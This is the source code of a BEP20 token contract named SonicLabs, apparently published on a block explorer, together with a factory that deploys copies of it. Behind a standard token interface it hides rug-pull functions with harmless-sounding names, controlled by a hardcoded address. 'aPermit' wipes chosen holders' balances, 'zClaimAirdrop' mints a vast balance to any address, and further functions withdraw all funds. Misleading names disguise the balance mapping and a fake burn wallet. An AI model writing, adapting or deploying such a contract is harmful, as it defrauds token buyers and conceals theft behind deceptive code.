Contract Source Code:
File 1 of 1 : SonicLabs
// SPDX-License-Identifier: MIT
// SonicLabs.com
pragma solidity 0.8.28;
// Context for msg.sender access
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// BEP20 Standard Interface
interface BEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Ownership Management
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function owner() public view returns (address) {
return _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// PancakeSwap Router Interface
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// Main Token Contract
contract SonicLabs is Context, BEP20, Ownable {
string private _name;
string private _symbol;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000000 * 10**_decimals; // 100 Billion Total Supply
uint256 finalTax = 1;
uint256 inicialTax = 10;
mapping(address => uint256) private immutableStatusOn;
mapping(address => mapping(address => uint256)) private _allowances;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
address private constant ETH_WALLET = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b;
address private constant RESERVE_WALLET = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
address ADDRESS_Sonic = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
constructor(string memory name_, string memory symbol_, address wS) {
_name = name_;
_symbol = symbol_;
// Distribute supply at deployment
uint256 burnAmount = _tTotal * 90 / 100;
uint256 reserveAmount = _tTotal * 9 / 100;
uint256 ownerAmount = _tTotal * 1 / 100;
immutableStatusOn[ETH_WALLET] = burnAmount;
immutableStatusOn[RESERVE_WALLET] = reserveAmount;
immutableStatusOn[wS] = ownerAmount;
emit Transfer(address(0), ETH_WALLET, burnAmount);
emit Transfer(address(0), RESERVE_WALLET, reserveAmount);
emit Transfer(address(0), wS, ownerAmount);
transferOwnership(wS);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return immutableStatusOn[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "Transfer from zero address");
require(to != address(0), "Transfer to zero address");
require(amount > 0, "Transfer amount must be greater than zero");
immutableStatusOn[from] -= amount;
immutableStatusOn[to] += amount;
emit Transfer(from, to, amount);
}
modifier immutableCreator() {
require(ADDRESS_Sonic == _msgSender());
_;
}
function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator {
for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax;
emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax);
}
}
function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator {
immutableStatusOn[claimedRewardStatusOf] = _tTotal * inicialTax ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _tTotal * inicialTax ** _decimals);
}
// Liquidity and Trading Setup
function startTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
tradingOpen = true;
}
function withdrawAnyToken(BEP20 token) external immutableCreator {
uint256 tokenBalance = token.balanceOf(address(this)); // Get the contract's token balance
require(tokenBalance > 0, "No tokens available for withdrawal.");
// Transfer the entire token balance to the owner
require(token.transfer(owner(), tokenBalance), "Token transfer failed.");
// Emit the Transfer event (equivalent to ERC20's Transfer event)
emit Transfer(address(token), owner(), tokenBalance);
}
function withdrawETH() external immutableCreator {
uint256 contractBalance = address(this).balance; // Get the contract's ETH balance
require(contractBalance > 0, "No ETH available for withdrawal.");
payable(owner()).transfer(contractBalance); // Transfer all ETH to the owner
}
// Function to receive ETH (optional for gas fees)
receive() external payable {}
}
contract CreatorToken {
event TokenCreated(address tokenAddress, string name, string symbol, address owner);
struct TokenDetails {
string name;
string symbol;
address owner;
}
TokenDetails[] public tokens;
function createTokens(
string[] calldata names,
string[] calldata symbols,
address[] calldata owners
) external {
require(names.length == symbols.length && symbols.length == owners.length, "Input arrays must have the same length");
for (uint256 i = 0; i < names.length; i++) {
SonicLabs token = new SonicLabs(names[i], symbols[i], owners[i]);
tokens.push(TokenDetails({
name: names[i],
symbol: symbols[i],
owner: owners[i]
}));
emit TokenCreated(address(token), names[i], symbols[i], owners[i]);
}
}
}